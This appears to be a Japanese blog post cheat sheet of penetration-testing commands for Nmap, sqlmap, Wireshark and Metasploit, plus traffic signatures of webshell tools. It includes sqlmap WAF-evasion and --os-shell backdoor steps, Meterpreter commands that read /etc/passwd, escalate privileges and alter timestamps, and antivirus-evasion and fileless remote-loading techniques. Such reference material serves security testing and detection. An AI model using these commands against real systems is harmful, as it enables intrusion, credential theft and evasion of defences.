セキュリティツールと技術実践ガイド

セキュリティツールの活用

1.ペネトレーションテストツール

強力なペネトレーションテストフレームワークの活用法

2.Nmapスキャンコマンド

nmap hostname/IPまたは複数IPまたはサブネット192.168.123.*

  • -iL target.txt target.txt内のすべてのIPをスキャン

  • -A -sV、-Oを含む、OS情報検出と traceroute。激しいスキャンなので注意

  • -O OSバージョン検出

  • -sV サービスバージョン特定

  • -sA ファイアウォールやパケットフィルターの存在確認

  • -sS ハーフオープンスキャン、ログ記録されにくいがroot権限が必要

  • -sT TCP connect()スキャン、相手側に多数の接続ログが残る

  • -sP pingスキャン、生存確認のみ。ping禁止ホストは検出できないため注意

  • -sN TCP NULLスキャン

  • -F 高速スキャンモード

  • -Pn pingを事前に実行しない、firewall環境で有効

  • -p ポート/ポート範囲指定

  • -oN レポートをファイル出力

  • -v 詳細情報表示

  • -T<0-5> スキャン速度設定

スクリプト活用

  • --script all 全スクリプト実行
  • --script=sql.injection.nse SQLインジェクション検出
  • --script="smb*" SMB関連スキャン

主要機能:ホスト検出(-sn)、ポートスキャン(-sS -sU)、バージョン検知(-sV)、OS検知(-O)

スキャン方式:TCP connect()、TCP SYN、TCP FIN、NULLスキャン等

ping回避:nmap -Pn XXX.XXX.XXX.XXX

脆弱性検出:nmap target --script=auth,vuln

3.SQLmap活用テクニック

  • -u 単一URL -m targets.txt 複数URL

  • -d "mysql://user:pass@10.10.10.137:3306/dvwa" DB直接接続

  • --data POST/GETパラメータ指定

  • -p 対象パラメータ指定

  • -r リクエストファイル読み込み

  • -f フィンガープリント取得

  • --tamper エンコーディングスクリプト、WAF回避用

  • --cookie --user-agent --host HTTPヘッダー変更

  • --threads 並列スレッド数(デフォルト1)

  • --dbms MySQL<5.0> DBタイプまたはバージョン指定

  • –level=LEVEL テストレベル(1-5、デフォルト1)

  • –risk=RISK テストリスク(0-3、デフォルト1)高リスクはデータ改変リスクあり–current-db 現在のDB名取得

  • –dbs DBMSのデータベース一覧

  • –tables テーブル一覧

  • –columns カラム一覧

  • -D DB 対象データベース指定

  • -T TBL 対象テーブル指定

  • -C COL 対象カラム指定

  • -U USER 対象ユーザー指定

主なtamperスクリプト

  • base64encode.py #Base64エンコード
  • charencode.py URLエンコード
  • chardoubleencode.py 二重URLエンコード
  • unmagicquotes.py ワイドバイト対応
  • randomcomments.py SQLキーワードを/* */で分割
  • space2plus.py space2comment.py 空白文字置換

POSTインジェクション

sqlmap -r request.txt -p "param" -dbms mysql

GETインジェクション

sqlmap -u "http://target/param" --dbms mysql

対話的シェル取得

1-要件:管理者権限、Web絶対パス、Cookie取得

2-sqlmap.py -u "target" --cookie="session" --os-shell

3-Web絶対パス入力

4-バックドア設置

4.WebShellツール通信パターン

チョッパー(中国菜刀)特徴

Base64暗号化で命令を送信、z1とz2が主要ペイロード(名前は変更可能)

アンツソード(蚁剑)特徴

デフォルトUA: antsword xxx(/modules/request.jsで変更可能)

@ini_set("display_errors","0");はPHP WebShell共通の特徴

混淆後パラメータ名は"_0x......="形式(アンダースコアは変更可能)

ビハインダー(冰蝎)特徴

POSTリクエストが基本

  1. Acceptヘッダー: application/xhtml+xml,application/xml(弱い特徴)

  2. Content-Type: application/octet-stream(強い特徴、二進データ専用)

ビハインダー2特徴

特殊なAccept値、古いUA(変更可能)

Content-Length: 16が接続時の特徴

ビハインダー3特徴

動的鍵取得を廃止

1)Acceptヘッダー特徴は同様(弱い特徴)

2)古いUA(16種類内蔵、変更可能)

JSPではContent-Type: application/octet-streamが強い特徴

5.ゴジラ通信パターン

PHP接続特徴

(1)php_XOR_BASE64

POST /uploads/shell.php HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
token=ENCRYPTED_PAYLOAD

JSP接続特徴

(1)java_AES_BASE64

POST /shell.jsp HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:555
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 33035
Connection: close
pass=AES_ENCRYPTED_DATA

PHPと同様に"pass="パラメータを含み、初期レスポンスのContent-Lengthは0

(2)java_AES_RAW

POST /raw.jsp HTTP/1.1
User-Agent: Java/1.8.0_131
Host: 192.168.0.132:555
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 23360
Connection: close
BINARY_AES_DATA

6.Wiresharkフィルター技法

IPフィルター

送信元IP: ip.src==192.168.1.1、宛先IP: ip.dst==192.168.1.1

ポートフィルター

ポート80: tcp.port==80、送信元: tcp.srcport==80、宛先: tcp.dstport==80

プロトコルフィルター

プロトコル名直接入力(例: http、https、dns)

HTTPメソッドフィルター

GETリクエスト: http.request.method=="GET" POSTリクエスト: http.request.method=="POST"

7.Metasploit活用術

基本コマンド

background #セッションをバックグラウンドへ sessions -i ID #セッションIDで接続 quit #セッション終了 shell #コマンドプロンプト取得 cat /etc/passwd #ファイル内容表示 getwd #現在のディレクトリ確認

upload /tmp/malware.exe C:\ #ターゲットへファイルアップロード download secret.txt /tmp/ #ターゲットからファイルダウンロード edit C:\boot.ini #ファイル編集 search -d C:\inetpub -f *.config #ファイル検索 ps #実行中プロセス一覧 migrate PID #プロセスIDへ移行 execute -H -i -f cmd.exe #不可視でCMD起動 getpid #現在のプロセスID kill PID #プロセス終了 getuid #現在の権限確認 sysinfo #システム情報取得 getsystem #権限昇格 timestomp C:\file.doc -c "2023/01/01 12:00:00" #ファイルタイムスタンプ変更

プロセス移行手順

  1. meterpreter > ps
  2. 移行先PIDを選択
  3. meterpreter > migrate PID

マルウェア回避技術

Fuzzingで検出箇所を特定し、エンコード、暗号化、動的実行、分割結合、条件実行等で回避

ファイルレス実行手法

  • PowerShell → powershell.exe
  • VBScript → cscript.exe
  • バッチファイル → cmd.exe
  • JavaScript → mshta.exe

01-Shellcode回避

1.エンコーディング 2.パッキング 3.難読化 4.分離ローディング 5.シグネチャ改変 6.ダミーコード追加 7.API再実装

02-分離免殺

ローダーとShellcodeを分離、ShellcodeをWebサーバーや画像に格納し遠隔ロード

03-PowerShell遠隔ローディング

Mimikatz、RAT、実行ファイルを遠隔ロードしファイルレス実現

タグ: Nmap sqlmap webshell Metasploit wire shark

6月18日 18:52 投稿